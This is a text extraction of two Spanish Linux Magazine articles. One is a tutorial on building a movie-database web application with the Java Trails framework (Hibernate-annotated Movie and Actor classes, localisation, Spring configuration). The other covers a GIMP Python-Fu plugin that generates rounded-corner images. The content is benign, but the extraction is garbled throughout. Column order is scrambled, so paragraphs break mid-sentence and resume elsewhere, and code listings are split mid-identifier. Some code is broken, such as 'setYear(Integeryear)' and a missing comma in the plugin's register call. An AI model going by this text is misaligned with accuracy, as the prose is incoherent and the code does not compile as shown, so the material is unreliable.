aquí donde implementamos nuestras
propias clases.
• directorio de root/myvideos/context:
directorio de la aplicación Web.
• directorio de root/myvideos/context/
WEB-INF: este directorio alberga los
archivos de configuración necesarios
(web.xml, hibernate.properties, y
demás) junto con las páginas de
Tapestry y los fragmentos HTML.
• directorio de root/myvideos/lib: un direc
torio para todos los archivos con dife
rentes entornos de trabajo (Hibernate,
Tapestry, Apache Commons y demás).
También tendremos que especificar la ruta
hasta la instalación de Tomcat en build.pro-
perties.
Desarrollo basado en DominioEl punto de comienzo para cualquier apli-
cación Web en Trails es uno o más POJOs
(Plain Old Java Objects), que se mapean
con los objetos de dominio en la aplicación.
Esta es la primera y más importante dife-
rencia para los que estén familiarizados
con Ruby on Rails: Trails no comienza con
una tabla de base de datos, sino que
Debió ser en algún momento a
comienzos del verano de 2005
cuando Jim Weirich le mostró a su
amigo Chris Nelson el vídeo de Ruby on
Rails [1] de la reunión del Cincinnati Java
User Group. Chris quedó impresionado por
esta solución rápida y sencilla para el
desarrollo de aplicaciones Web, y decidió
introducir la misma idea en su lenguaje
favorito, Java. Unos meses más tarde recogía
los frutos con la presentación de la primera
versión de Trails [2], un elegante entorno de
trabajo para Java.
El objetivo del proyecto Trails es “…con-
seguir que el desarrollo profesional en Java
sea radicalmente más sencillo, permitiendo
que el desarrollador se concentre en el
modelo de dominio” mientras que otras por-
ciones de código se generan dinámicamente
[1]. Trails minimiza la cantidad de código
original y genera automáticamente todo el
código que sea posible. El nombre Trails pro-
cede de Rails y le añade una T de Tapestry
[3]. Tapestry es un entorno de trabajo en
software libre para el desarrollo de aplicacio-
nes Web en Java. Trails también se basa en
conceptos y componentes de otros entornos
de trabajo sobradamente probados, como
Apache Ant, AspectJ [4], Spring [5], y el
mapeador de objetos relacionales Hibernate.
En este artículo vamos a poner a trabajar
a Trails en una pequeña aplicación de
DESARROLLO • Java
44 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Desarrollo de aplicaciones Web con el entorno de trabajo Trails
LA SENDA FELIZ
Vamos a crear aplicaciones Java en una fracción del tiempo normal de
desarrollo con el potente (y libre) entorno de trabajo Trails.
POR ROMAN WARTALA
aguarda una sencilla clase de Java como
punto de partida.
La clase del Listado 1, que administra los
videos en nuestra aplicación de ejemplo, es
sencilla de crear usando algún IDE moderno
como Eclipse. El programador sólo necesita
declarar los atributos de la clases id, title y
year, y luego usa el generador de getters y
setters (véase Figura 1) para crear los méto-
dos de acceso apropiado.
Para indicarle a Hibernate qué clase debe
persistir, los desarrolladores tienen que usar
anotaciones Java 5 que cumplan con los
nuevos estándares EJB-3.0/ JSR 220 [6][7].
La anotación @Entity (Listado 1) especifica
que Hibernate debería guardar la clase
Movie en la base de datos. Aún falta un
número identificador único (ID): la anota-
ción @Id(generate=GeneratorType.AUTO)
crea el ID usando para ello el atributo id.
Para poder distinguir las películas de la
base de datos, necesitamos también un
equals, que está trivialmente implementado
usando un EqualsBuilder del marco de tra-
bajo apache.commons.lang.builder.
Debemos llamar al objetivo de Ant, ant
deploy. Esto envía la aplicación Web a la
dirección http://localhost:8080/myvideos/.
CRUD
La página de bienvenida de la aplicación
para los vídeos le desea al usuario un
amistoso “Welcome”. Pulsando en List
Movies nos llevamos la primera sorpresa,
aunque puede que lo esperáramos si ya
hemos trabajado con Rails: incluso en esta
temprana etapa del desarrollo, los usuarios
pueden crear, buscar, modificar o borrar los
registros de las películas. Este diseño se
denomina CRUD (Create, Retrieve, Update,
Delete), y es uno de los puntos destacados
de cualquier demostración de Rails. Y,
¡atención!, si pulsamos sobre New Movie
aparece un formulario de entrada desde la
primera película. Una sencilla función de
Trails, la llamada Pluralizer, genera
Java • DESARROLLO
45Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 1: Podemos usar el generador de getters y setters para crear los métodos de acceso
apropiados.
01 package de.wartala.myvideos;
02
03 import java.util.HashSet;
04 import java.util.Set;
05
06 import
javax.persistence.Entity;
07 import
javax.persistence.GeneratorTyp
e;
08 import javax.persistence.Id;
09
10 import
org.apache.commons.lang.builde
r.EqualsBuilder;
11
12 @Entity
13 public class Movie {
14 private Integer id;
15 private String title;
16 private Integer year;
17
18
@Id(generate=GeneratorType.AUT
O)
19 public Integer getId()
{
20 return
this.id;
21 }
22
23 public void
setId(Integer id) {
24 this.id = id;
25 }
26
27 public String
getTitle() {
28 return title;
29 }
30
31 public void
setTitle(String title) {
32 this.title =
title;
33 }
34
35 public Integer
getYear() {
36 return year;
37 }
38
39 public void
setYear(Integer year) {
40 this.year =
year;
41 }
42
43 public boolean
equals(Object obj) {
44 return
EqualsBuilder.reflectionEquals
(this, obj);
45 }
46
47 public String
toString() {
48 return
this.getTitle();
49 }
50 }
Listado 1: Movie (1)
entidades individuales. En la aplicación de
administración de películas necesitamos la
posibilidad de asignar varios actores a una
única película, una típica relación 1 a n. Para
expresar esto dentro de la clase Movie pode-
mos usar los Generics de Java 5.
Un conjunto de hashes de Actor
implementa la relación 1 a n para los actores
de la clase Movie (véase Listado 3, línea 25).
Los getters y setters de este atributo de clase
usan anotaciones JSR 220 para expresar la
relación requerida (Listado 3, líneas 57 a 68).
ant redeploy aplica los cambios. Ahora, un
usuario que introduzca una película puede
pulsar sobre Add New para añadir actores.
Nuestra Propia Página WebLas páginas Web que hemos visto hasta
ahora generadas por Trails son bastante sen-
cillas. Las anotaciones de Trail proporcionan
al desarrollador la posibilidad de hacer cam-
bios sencillos, como modificar el orden de los
cuadros de entrada de datos o los atributos
de los títulos. Por ejemplo, el siguiente con-
junto de anotaciones fija la posición de la
fecha de nacimiento del actor en el formula-
rio (Posición 2), el formato de salida de la
fecha y la etiqueta.
@PropertyDescriptor(index=2,U
format=”dd.MM.yyyy”,U
displayName=”Birthday”)
public Date getBirthday() {
return birthday;
}
Por supuesto, las modificaciones de este tipo
no deberían residir dentro de la clase, sino
fuera del código fuente. Para ello, las páginas
deben estar parametrizadas.
Para poder habilitar cambios estructurales
en una página subyacente, Trails usa el marco
de trabajo Tapestry para los controles de
modelo de visión. Tapestry soporta
implementaciones sencillas de validaciones e
internacionalización de páginas Web. Al igual
que las Java Server Faces (JSF), Tapestry
distingue entre los componentes contenidos
en una página y su representación. Todos los
automáticamente el plural Movies desde el
POJO Movie. Simplemente se le pasa un
nombre de clase en singular al pluralizer
para generar el plural.
Queremos que nuestra aplicación de
ejemplo administre tanto actores como pelí-
culas. Para ello necesitamos implementar un
objeto de dominio coincidente. La clase
Actor contendrá los atributos Name y Birth-
day (véase Listado 2). Hibernate no sería un
envoltorio de objetos relacionales si sólo
fuese capaz de mapear objetos. Por
supuesto, pueden expresar relaciones entre
DESARROLLO • Java
46 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 2: Trails nos permite desarrollar aplicaciones Web en Java, como esta base de datos de
películas, con un esfuerzo de codificación manual mínimo.
01 package de.wartala.myvideos;
02
03 import java.util.Date;
04
05 import
javax.persistence.Entity;
06 import
javax.persistence.GeneratorTyp
e;
07 import javax.persistence.Id;
08
09 @Entity
10 public class Actor {
11 private Integer id;
12 private String name;
13 private Date birthday;
14
15
@Id(generate=GeneratorType.AUT
O)
16 public Integer getId()
{
17 return id;
18 }
19
20 public void
setId(Integer id) {
21 this.id = id;
22 }
23
24 public String
getName() {
25 return name;
26 }
27
28 public void
setName(String name) {
29 this.name =
name;
30 }
31
32 public Date
getBirthday() {
33 return
birthday;
34 }
35
36 public void
setBirthday(Date birthday) {
37 this.birthday
= birthday;
38 }
39
40 public String
toString() {
41 return
this.getName();
42 }
43 }
Listado 2: Actor
elementos de entrada mostrados en Trails son
componentes de Tapestry o Trails. Si
queremos cambiar las páginas generadas,
debemos preocuparnos por conocer la
distribución de cada elemento en Tapestry.
Trails genera páginas por defecto para los
casos CRUD (extensión .html) y modelos de
página (extensión .page). Ambas partes se
controlan por la aplicación de servlet de
Tapestry, que se integra a través del archivo
web.xml.
Localización
Si queremos localizar contenidos en páginas
estáticas necesitamos cambiar las páginas
HTML correspondientes. Aquí es donde se
usan los conjuntos de mensajes estilo Java.
Los conjuntos de mensajes son simples
archivos de propiedades con una estructura
parameter=value. Para visualizar el Wel-
come en la página de inicio de la aplicación,
Home.html, que dependa del locale del
navegador Web, necesitamos un archivo
messages_[countrycode].properties. Para
myvideos en alemán, debería ser messa-
ges_de.properties en el directorio
/myvideos/context/WEB-INF:
org.trails.welcome=U
Willkommen zu Trails
No debemos olvidar reemplazar la línea
<h1>Welcome to Trails</h1> con la línea
<h1><span
key=”org.trails.welcome”Welcome to
Trails</span></h1> en Home.html para
visualizar un mensaje de bienvenida locali-
zado.
Desafortunadamente este método no fun-
ciona para el andamiaje: la página de inicio
de la aplicación de ejemplo muestra aún
“List Movies”. En su blog en [8], el desarro-
llador prometió una solución para esto en la
próxima versión. Por tanto, tiene sentido
añadir detalles específicos del país al anda-
miaje, anticipándonos al cambio. Si
Java • DESARROLLO
47Número 20W W W . L I N U X - M A G A Z I N E . E S
01 package de.wartala.myvideos;
02
03 import java.util.HashSet;
04 import java.util.Set;
05
06 import
javax.persistence.CascadeType;
07 import
javax.persistence.Entity;
08 import
javax.persistence.GeneratorTyp
e;
09 import javax.persistence.Id;
10 import
javax.persistence.JoinColumn;
11 import
javax.persistence.OneToMany;
12
13 import
org.apache.commons.lang.builde
r.EqualsBuilder;
14 import
org.hibernate.validator.NotNul
l;
15 import
org.trails.descriptor.annotati
on.Collection;
16 import
org.trails.descriptor.annotati
on.PropertyDescriptor;
17 import
org.trails.validation.Validate
Uniqueness;
18
19 @Entity
20
@ValidateUniqueness(property=”
title”)
21 public class Movie {
22 private Integer id;
23 private String title;
24 private Integer year;
25 private Set<Actor>
actors= new HashSet<Actor>();
26
27
@PropertyDescriptor(index=0)
28
@Id(generate=GeneratorType.AUT
O)
29 public Integer getId()
{
30 return
this.id;
31 }
32
33 public void
setId(Integer id) {
34 this.id = id;
35 }
36
37
@PropertyDescriptor(index=1)
38 @NotNull
39 public String
getTitle() {
40 return title;
41 }
42
43 public void
setTitle(String title) {
44 this.title =
title;
45 }
46
47
@PropertyDescriptor(index=2)
48 public Integer
getYear() {
49 return year;
50 }
51
52 public void
setYear(Integeryear) {
53 this.year =
year;
54 }
55
56
@PropertyDescriptor(index=3)
57
@OneToMany(cascade=CascadeType
.ALL)
58
@JoinColumn(name=”movieId”)
59
@Collection(child=true)
60 public Set<Actor>
getActors()
61 {
62 return actors;
63 }
64
65 public void
setActors(Set<Actor> actors)
66 {
67 this.actors =
actors;
68 }
69
70 public boolean
equals(Object obj) {
71 return
EqualsBuilder.reflectionEquals
(this, obj);
72 }
73
74 public String
toString() {
75 return
this.getTitle();
76 }
77 }
Listado 3: Movie (2)
usa esta base de datos. Para las demás
bases de datos, los desarrolladores tienen
que editar el archivo hibernate.properties
en el directorio directorio de root/myvi-
deos/context/WEB-INF. Pero debemos tener
cuidado: Hibernate no soporta todas las
bases de datos. Podemos visitar [10] y [11]
para comprobar qué bases de datos están
soportadas.
Soporte para AjaxDentro del andamiaje de la aplicación, un
archivo denominado
[applicationname].application configura el
entorno de Tapestry. El archivo hace refe-
rencia a la librería de Ajax, Tacos [12]. Una
de las ventajas principales que ofrece Ajax
es el renderizado parcial de los componen-
tes de la página. Esto es útil para páginas
grandes con muchos componentes de
entrada y salida. Cuando un usuario está
esperando delante de una aplicación Web,
hay una gran diferencia si el navegador
tiene que redibujar 20 campos de entrada
en un formulario o un solo campo. Tacos, y
por tanto Trails, resuelve esto de una senci-
lla manera. Desafortunadamente, el
desarrollador Web no sólo necesita modifi-
car la página HTML, sino que también
tiene que implementar una clase modelo
para hacer esto en Tapestry. Pero, de
nuevo, la ayuda está en camino: el desarro-
llador promete una manera más sencilla de
resolverlo en el próximo lanzamiento. Si no
podemos esperar a que llegue, debemos
echarle un vistazo al ejemplo en Ajax en
[2].
Realmente BonitoAl igual que es imposible decir Rails sin
decir Ruby, es imposible decir Trails sin
decir Tapestry si queremos desarrollar pro-
yectos de una cierta envergadura. Rails
debe gran parte de su potencia al lenguaje
de programación dinámica Ruby. Java no
soporta atributos dinámicos y métodos (al
menos en el momento de escribir estas
líneas). De hecho, Rails tiene muchos
extras que se echan en falta en Trails, como
soporte para email, por ejemplo, aunque el
email debería ser fácil de implementar con
Javamail. También se echa en falta una
interfaz de servicios Web adecuada, aun-
que el entorno de trabajo de servicios Web
de Apache, Axis [13], debería solventar
esto. Por otro lado, Trails tiene la capacidad
de enlazar bases de datos existentes a tra-
vés de Hibernate, en contraste con el
mapeador O/R de Rails, ActiveRecord.
Hemos de admitir que todavía queda
mucho trabajo por hacer, desde el momento
en el que la versión 0.8 de Trails aún está a
un par de pasos del lanzamiento 1.0. Si nos
tomamos la molestia de comprobar las
versiones actuales de Trails desde el
repositorio CVS, encontraremos referencias
a las funcionalidades de la próxima versión
de Trails.
Además del soporte para I18N comen-
tado anteriormente, el marco de trabajo
Trails puede esperar un nuevo paquete
basado en el framework de seguridad Acegi
para Spring [14]. Este paquete de seguridad
permitirá al desarrollador mover declaracio-
nes de seguridad a la definición de contexto
de la aplicación, al estilo típico de Spring. Y
si Chris Nelson pule un poco la documenta-
ción, y los avispados desarrolladores
encuentran la manera de integrar Java Ser-
ver Faces en lugar de Tapestry, Trails puede
convertirse en una popular alternativa para
crear modernas aplicaciones Web J2EE. �
verificamos el repositorio CVS en busca del
código fuente de Trails, podemos ver que los
paquetes están ahí.
Trails necesita un archivo de
configuración adicional, que no es sólo
para la localización:
/myvideos/context/WEB-INF/application-
Context.xml integra el entorno de
desarrollo Spring con Trails. No sólo refe-
rencia los beans requeridos por Trails e
Hibernate, sino que también les añade
varias propiedades. Es también el lugar
adecuado para integrar los conjuntos de
mensajes como los mostrados en el Listado
4.
Los valores de este parámetro pueden
referenciarse de diferentes maneras dentro
de las páginas de Tapestry. Como la valida-
ción tiene lugar dentro del objeto de
dominio, también es posible agregar la
salida a posibles validadores de campo:
@NotNull(message=”U
{error.emptyMessage}”)
@Pattern(regex=U
“[A-z|\\s]+”,message=U
“{error.letterOrSpace}”)
Para mantener la configuración de Trails
tan sencilla como sea posible, se integra la
versión in-memory de HSQL [9] como base
de datos por defecto. OpenOffice también
DESARROLLO • Java
[1] “Bien Encaminados,” por Armin
Röhrl, Stefan Schmiedl, Número 3 de
Linux Magazine edición en castellano,
pag. 32.
[2] Trails http://trails.dev.java.net
[3] Jakarta Tapestry: http://jakarta.apache.
org/tapestry
[4] AspectJ: http://www.eclipse.org/
aspectj
[5] Spring Framework: http://www.
springframework.org
[6] EJB 3.0 Annotation (JSR-220) en
http://www.jcp.org/aboutJava/
communityprocess/edr/jsr220
[7] Hibernate Annotations en http://www.
hibernate.org/hib_docs/annotations/
reference/en/html
[8] Chris Nelson’s Weblog: http://jroller.
com/page/ccnelson/
Weblog?catname=/Trails
[9] HSQL: http://hsqldb.org
[10] Bases de datos soportadas oficial-
mente por Hibernate: http://www.
hibernate.org/260.html
[11] Bases de datos soportadas no oficial-
mente por Hibernate: http://www.
hibernate.org/80.html
[12] Tacos: http://tacos.sourceforge.net
[13] Apache Axis: http://ws.apache.org/
axis
[14] Acegi Security Framework para
Spring: http://acegisecurity.org
RECURSOS
48 Número 20 W W W . L I N U X - M A G A Z I N E . E S
01 <!— Message source for this
context, loaded from localized
“messages_xx” files —>
02 <bean id=”messageSource”
class=”org.springframework.con
text.support.ResourceBundleMes
sageSource”>
03 <property
name=”basename”>
04
<value>messages</value>
05 </property>
06 </bean>
07
08 <bean id=”trailsMessageSource”
class=”org.trails.i18n.Default
TrailsResourceBundleMessageSou
rce”>
09 <property
name=”messageSource”><ref
local=”messageSource”/></prope
rty>
10 </bean>
Listado 4: Conjunto deMensajes
Pero el problema es cómo conseguir
ese efecto tan deseado. Existen varias
maneras. La primera, y más tradicional,
consiste en generar en Gimp una caja
completa de forma gráfica y después lle-
varla a HTML. El problema con este
enfoque es que la caja es estática y no
crece.
Otra posible solución es emplear
algunos de esos toolkits que existen
para Ajax que incorporan efectos «espe-
ciales». La mayoría de ellos permiten
redondear cajas de forma automática,
pero a costa de sobrecargar la página.
Generalmente funcionan, pero su téc-
nica se basa en emplear HTML para
conseguir el redondeo, y si el color de
fondo de la página no es blanco se pue-
den observar unas molestas puntitas
blancas en cada caja.
La solución más interesante es crear
cuatro pequeñas esquinas redondeadas
y ponerlas en las cuatro esquinas de la
caja empleando HTML. Este proceso,
aunque complicado, es el que da mejo-
res resultados. Pero desgraciadamente
puede ser un suplicio generar esas
esquinas constantemente.
Por ello aquí llegan Gimp y Python
automatizando el proceso completa-
mente.
¡La documentación!Es el gran problema: apenas hay docu-
mentación en castellano o en inglés
sobre la creación de plugins Python
para Gimp. Por increíble que parezca
este problema no tiene visos de solucio-
narse.
La única herramienta con la que con-
tamos, como se vio en el número 5 de
Linux Magazine (ver Recurso [1]) es el
navegador de procedimientos o funcio-
nes. Con él podemos acceder al listado
de funciones disponibles en nuestra
actual instalación de Gimp.
Para poder detectar si nuestro plugin
da errores lo mejor es ejecutar Gimp
desde una consola. No es la solución
más elegante pero nos permite saber
cuando algo va mal.
Gimp-PythonCuando se creó el primer sistema de plu-
gins para Gimp se le llamó Python-Fu, en
referencia al existente Script-Fu. Este
conjunto de librerías tenían un inconve-
niente, trabajaban a un nivel demasiado
bajo. Así que se creó otro conjunto de
librerías llamado Gimp-Python.
¿Cuál usar? Lo cierto es que hay que
usar una mezcla de ambos sistemas.
Python-Fu está diseñado en base a libre-
rías de funciones. Las funciones poseen
Python• DESARROLLO
49Número 20
Los plugins son una de las gran-
des armas de Gimp, y podemos
trabajar en Python creando
scripts como si fuesen programas
normales y corrientes. En el número
5 de Linux Magazine edición en cas-
tellano se vió el trabajo básico con
scripts, en este otro comenzaremos
con algunas características más avan-
zadas.
«Las esquinas no debenpinchar»Este podría ser uno de los lemas de
los diseñadores de web de última ola.
De pronto todas las web se han
vuelto redondas, desapareciendo las
cajas con esquinas puntiagudas a una
velocidad pasmosa.
W W W . L I N U X - M A G A Z I N E . E S
Plugins para GIMP y web 2.0
PLUGINS 2.0La moda rige el diseño, y la moda ahora mismo
es que todas las cajas de texto en la web tengan
las esquinas redondeadas. Python puede
ayudarnos a simplificar esta tarea.
POR JOSE MARÍA RUIZ
01 height = width = radius*2
02 img = gimp.Image(width,
height, RGB)
03 drawable = gimp.Layer(img,
“Capa de Esquina”, width,
height, RGB_IMAGE, 100,
NORMAL_MODE)
04
pdb.gimp_image_add_layer(img,d
rawable,0)
05 gimp.set_foreground(fg_color)
06 gimp.set_background(bg_color)
07
pdb.gimp_drawable_fill(drawabl
e,BACKGROUND_FILL)
Figura 1: Comenzamoscreando la imagen base.
Figura 1: El navegador de funciones de
Python-Fu nos permite comprobar los pará-
metros que aceptan y obtener algo de ayuda
sobre su uso. Las funciones generalmente
están en inglés.
DESARROLLO • Python
50 Número 20 W W W . L I N U X - M A G A Z I N E . E S
001 #!/usr/bin/env python
002 #
003 #Copyright (C) 2006 Jason Kivlighn
004 #Copyright (C) 2006 José María Ruiz Aguilera
005 #
006 #This program is free software; you can
redistribute it and/or
007 #modify it under the terms of the GNU General
Public License
008 #as published by the Free Software Foundation;
either version 2
009 #of the License, or (at your option) any later
version.
010 #
011 #This program is distributed in the hope that it
will be useful,
012 #but WITHOUT ANY WARRANTY; without even the
implied warranty of
013 #MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the
014 #GNU General Public License for more details.
015 #
016 #You should have received a copy of the GNU
General Public License
017 #along with this program; if not, write to the
Free Software
018 #Foundation, Inc., 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA.
019
020 #
http://students.washington.edu/jkivligh/view_sour
ce.php?file=/jkivligh/gimp_rounded_corners/gen_co
rners.py
021
022 import math
023 from gimpfu import *
024
025 def python_gen_corners( radius, fg_color,
bg_color, file_prefix, directory ):
026 height = width = radius*2
027 img = gimp.Image(width, height, RGB)
028 drawable = gimp.Layer(img, “Capa de la
Esquinas”, width, height,
029 RGB_IMAGE, 100,
NORMAL_MODE)
030 pdb.gimp_image_add_layer(img,drawable,0)
031
032 gimp.set_foreground(fg_color)
033 gimp.set_background(bg_color)
034
035
pdb.gimp_drawable_fill(drawable,BACKGROUND_FILL)
036
037
pdb.gimp_ellipse_select(img,0,0,radius*2,radius*2
,CHANNEL_OP_REPLACE,TRUE,FALSE,0)
038
pdb.gimp_edit_bucket_fill(drawable,FG_BUCKET_FILL
,NORMAL_MODE,100,1,FALSE,0,0)
039
040
041
pdb.gimp_rect_select(img,0,0,radius,radius,CHANNE
L_OP_REPLACE,FALSE,0)
042 pdb.gimp_edit_copy(drawable)
043 tl_img = gimp.Image(radius, radius, RGB)
044 tl_drawable = gimp.Layer(tl_img, “Arriba
Izquieda”, radius, radius,
045 RGB_IMAGE, 100,
NORMAL_MODE)
046
pdb.gimp_image_add_layer(tl_img,tl_drawable,0)
047
pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(
tl_drawable,TRUE))
048
049
050
pdb.gimp_rect_select(img,radius,0,radius,radius,C
HANNEL_OP_REPLACE,FALSE,0)
051 pdb.gimp_edit_copy(drawable)
052 tr_img = gimp.Image(radius, radius, RGB)
053 tr_drawable = gimp.Layer(tr_img, “Arriba
Derecha”, radius, radius,
054 RGB_IMAGE, 100,
NORMAL_MODE)
055
pdb.gimp_image_add_layer(tr_img,tr_drawable,0)
056
pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(
tr_drawable,TRUE))
057
058
059
pdb.gimp_rect_select(img,0,radius,radius,radius,C
HANNEL_OP_REPLACE,FALSE,0)
060 pdb.gimp_edit_copy(drawable)
061 bl_img = gimp.Image(radius, radius, RGB)
062 bl_drawable = gimp.Layer(bl_img, “Abajo
Izquierda”, radius, radius,
063 RGB_IMAGE, 100,
NORMAL_MODE)
064
pdb.gimp_image_add_layer(bl_img,bl_drawable,0)
065
pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(
bl_drawable,TRUE))
066
067
068
pdb.gimp_rect_select(img,radius,radius,radius,rad
ius,CHANNEL_OP_REPLACE,FALSE,0)
Figura 6: código completo
nombres bastante largos, separados por
«_». Mientras tanto, Gimp-Python
emplea objetos y trata de ser de tan alto
nivel como sea posible (para documenta-
ción sobre Gimp-Python ver Recurso
[2]).
Las funciones de Script-Fu están en
el módulo PDB, que aglomera todas
las funciones de los plugin, a
diferencia de los objetos y métodos de
Gimp-Python que están en el módulo
gimp.
En uno de los últimos cambios de
versión se hizo que todos los nombres
de objetos de Gimp-Python comenza-
ran con una mayúscula. Esto puede
entrar en conflicto con plugins y docu-
mentación antigua donde por ejemplo:
gimp.image(),
es la norma, mientras que en las últimas
versiones devolvería un error. Ahora
todos los objetos comienzan por mayús-
cula:
• gimp.Image().
Imágenes y LayersHay que comprender estos tres elemen-
tos y entenderlos bien para poder
trabajar con Gimp. Una image es un
objeto que contiene la información
básica, como el nombre, resolución o los
datos gráficos. Pero una image no nos
sirve de nada como tal.
La mayoría de las funciones de Gimp
operan sobre drawables (podemos tra-
ducirlo como «dibujables»). Existen dos
tipo de drawables: layers y masks.
Por el momento nos interesan los
layers. Un layer no es más que una capa
que podemos poner sobre la imagen.
Las capas poseen gran cantidad de pro-
piedades, pero las más distintivas son su
opacidad (la cantidad de luz de la ima-
gen de abajo que deja pasar) así como la
manera en que se «mezcla» con ella.
Existen muchas funciones de mezcla,
podemos sumar colores, dividirlos,
disolverlos,…
Por tanto cuando se crea una capa,
hay que vincularla con una imagen,
decir cuál será su opacidad y cómo se
relacionará con la capa o datos que
tenga «debajo». Las capas también tie-
nen nombre, y a través de él podremos
especificar acciones sobre capas especí-
ficas.
Sobre las capas podemos trabajar con
selecciones, y las selecciones pueden
cortar o delimitar secciones de la capa
donde podemos operar, introduciendo
color, degradados o ejecutar cualquiera
de las funciones o filtros que vienen por
defecto con Gimp.
Python • DESARROLLO
51Número 20W W W . L I N U X - M A G A Z I N E . E S
069 pdb.gimp_edit_copy(drawable)
070 br_img = gimp.Image(radius, radius, RGB)
071 br_drawable = gimp.Layer(br_img, “Abajo Derecha”, radius,
radius,
072 RGB_IMAGE, 100, NORMAL_MODE)
073 pdb.gimp_image_add_layer(br_img,br_drawable,0)
074
pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(br_drawable,TRUE))
075
076 filename = directory+”/”+file_prefix+”tr.png”
077 pdb.file_png_save_defaults( tr_img, tr_drawable, filename,
filename )
078
079 filename = directory+”/”+file_prefix+”tl.png”
080 pdb.file_png_save_defaults( tl_img, tl_drawable, filename,
filename )
081
082 filename = directory+”/”+file_prefix+”br.png”
083 pdb.file_png_save_defaults( br_img, br_drawable, filename,
filename )
084
085 filename = directory+”/”+file_prefix+”bl.png”
086 pdb.file_png_save_defaults( bl_img, bl_drawable, filename,
filename )
087
088 register(
089 “python_fu_gen_corners”,
090 “Genera esquinas redondeados”,
091 “Genera esquinas redondeados. Muy útil para páginas web.”
092 “José María Ruiz Aguilera”,
093 “Jason Kivlighn”,
094 “2006”,
095 “<Toolbox>/Python-Fu/_Genera Esquinas”,
096 “RGB*, GRAY*”,
097 [
098 (PF_INT, “radius”, “Radio”, 10),
099 (PF_COLOR, “fg_color”, “Color Primer Plano”,
(255,255,255)),
100 (PF_COLOR, “bg_color”, “Color de Fondo”, (0,0,0)),
101 (PF_STRING, “file_prefix”, “Prefijo del Fichero”,
“border_”),
102 (PF_FILE, “directory”, “Directorio”, “”)
103 ],
104 [],
105 python_gen_corners)
106
107 main()
Figura 6: código completo (continuación)
Figura 2: los creadores de Python-Fu han
puesto una serpiente ¡para que no olvidemos
que trabajamos con Python! Este cuadro de
diálogo se genera automáticamente.
aplastado, sobre la imagen. Como lo que
queremos es un círculo, pasamos como
centro el (0,0) y un alto y ancho iguales
(radio*2). CHANNEL_OP_REPLACE
expresa qué queremos hacer con nuestra
elipse. En este caso sólo queremos
reemplazar cualquier selección existente
con la nueva. Los últimos tres
parámetros le dicen a la función cosas
tales como si queremos que se aplique
Antialias.
Ya tenemos nuestro círculo señalado,
ahora necesitamos rellenarlo con algo.
Aquí entra en escena la segunda fun-
ción. Curiosamente, en lugar de
aceptar un objeto de imagen necesita
un objeto drawable. Por tanto, le pasa-
mos la capa que generamos
anteriormente. La acción a realizar es
FG_BUCKET_FILL, que significa que
usemos el «cubo» para verter el color
que seleccionamos como principal,
foreground, y cómo queremos que se
comporte respecto al resto de colores
que quedarán debajo. Aquí decimos
que NORMAL_MODE, que los cubra de
forma normal. El 100 viene a decir que
queremos opacidad total. El (0,0) final
se aplicaría sólo en el caso de que no
hubiéremos señalado nada y sería la
posición de arranque para comenzar a
pintar. Aquí no es necesario, pero
debemos pasar algún dato, por eso
pasamos un inocuo (0,0).
Bueno, ya tenemos una circunferen-
cia coloreada, ver Figura 3.
Procedemos ahora a hacer una selec-
ción rectangular, con la que cubrimos
el círculo que hemos coloreado. Des-
pués usamos gimp_edit_copy() para
copiar la selección al portapapeles, y
generamos una nueva imagen con las
mismas dimensiones que la selección
que hemos copiado, generando una
nueva capa sobre la nueva imagen.
Añadimos la nueva capa a la imagen
recién creada, que se corresponderá
con el borde superior izquierdo, y
copiamos sobre ella lo que teníamos en
el portapapeles, la selección de una cir-
cunferencia coloreada.
Ya tenemos una de las esquinas lista:
la superior izquierda, por conveniencia
usaremos tl como sigla para referirnos
a ella (TopLeft, ArribaIzquierda) por-
que es más sencillo distinguir las
variables (Arriba y Abajo comienzan
por «A», así que en castellano podría-
mos distinguirlas). Ver Figura 4.
Procedemos ahora con la esquina
superior derecha. Como ya tenemos en
el portapapeles una capa con el fondo, lo
que hacemos es realizar la selección,
pero cambiando los puntos de arranque.
Es la acción equivalente a girar la capa.
Creamos una nueva imagen, que lla-
mamos tr_img por Top Right (Arriba
Derecha), y pegamos desde el portapape-
les con gimp_edit_paste.
Hacemos lo mismo con el borde de
«Abajo Izquierda» y con el de «Abajo
Derecha». Tenemos los cuatro bordes en
cuatro variables.
En nuestro ejemplo emplearemos el
portapapeles para copiar selecciones y
pegarlas posteriormente en distintas
imágenes.
Primeros pasosVamos a comenzar nuestro trabajo, ver
Figura 1.
Preparamos el alto y el ancho que
especificamos para los bordes redondea-
dos. No es conveniente que sean
demasiado grandes porque el resultado
final se verá excesivamente redondeado.
Generamos una imagen RGB y una
capa sobre ella que usaremos como
patrón para construir las otras cuatro
esquinas. Entonces añadimos la capa a
la imagen, esta capa se montará encima
de la imagen.
Establecemos los colores de fondo y
principal. Estos colores se usarán por
defecto siempre que pintemos o dibuje-
mos, por eso es importante controlarlos.
Una vez definidos los colores por
defecto usamos gimp_drawable_fill para
colorear la capa recién creada usando el
color de fondo por defecto.
Cuatro bordes, cuatroficherosEl objetivo es ahorrarnos el trabajo de
tener que generar los 4 bordes constante-
mente. Comenzaremos generando uno.
Para ello usamos la combinación, ver
Figura 2.
La primera función selecciona una
elipse, un círculo que puede estar
DESARROLLO • Python
52 Número 20 W W W . L I N U X - M A G A Z I N E . E S
01
pdb.gimp_rect_select(img,0,0,r
adius,radius,CHANNEL_OP_REPLAC
E,FALSE,0)
02 pdb.gimp_edit_copy(drawable)
03 tl_img = gimp.Image(radius,
radius, RGB)
04 tl_drawable =
gimp.Layer(tl_img, “Arriba
Izquierda”, radius, radius,
RGB_IMAGE, 100, NORMAL_MODE)
05
pdb.gimp_image_add_layer(tl_im
g,tl_drawable,0)
06
pdb.gimp_floating_sel_anchor(p
db.gimp_edit_paste(tl_drawable
,TRUE))
Figura 3: Creación de laesquina superior izquierda
01
pdb.gimp_ellipse_select(img,0,
0,radius*2,radius*2,CHANNEL_OP
_REPLACE,TRUE,FALSE,0)
02
pdb.gimp_edit_bucket_fill(draw
able,FG_BUCKET_FILL,NORMAL_MOD
E,100,1,FALSE,0,0)
